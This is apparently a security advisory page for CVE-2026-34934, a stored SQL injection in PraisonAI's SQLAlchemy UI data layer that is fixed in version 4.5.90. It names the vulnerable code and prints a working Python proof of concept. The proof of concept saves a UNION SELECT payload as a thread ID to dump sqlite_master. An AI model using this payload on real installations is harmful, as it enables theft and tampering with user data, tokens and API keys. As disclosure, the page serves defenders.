PRAISONAI · CVE-2026-34934 · AI agents & MCP
FIX → 4.5.90
PraisonAI builds a raw SQL query by joining stored thread IDs into the query text, so a thread ID saved through update_thread is executed as SQL when the thread list loads. An attacker who can create threads can read or change any data in the application database, including user emails, session tokens and API keys.
first public Mar 31, 2026 · 2 sources
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Teams running the PraisonAI UI with its SQLAlchemy data layer, where users can create or update threads. Installations that do not use the UI data layer, or that are on 4.5.90 or later, are not exposed. The sources do not say whether the flaw is reachable without an account.
Not affected if fixed-version, no-ui-data-layer
Who cares ai-agents, praisonai, python, self-hosted
praisonai package is at or below 4.5.89 with pip show praisonai.src/praisonai/praisonai/ui/sql_alchemy.py in your deployment.The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
File Path:
src/praisonai/praisonai/ui/sql_alchemy.py
Flow:
await data_layer.update_thread(thread_id=payload, user_id=user)
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
Upgrade to 4.5.90
praisonai 4.5.90WHERE s."threadId" IN {thread_ids}
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console
An attacker can achieve full database compromise, including:
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.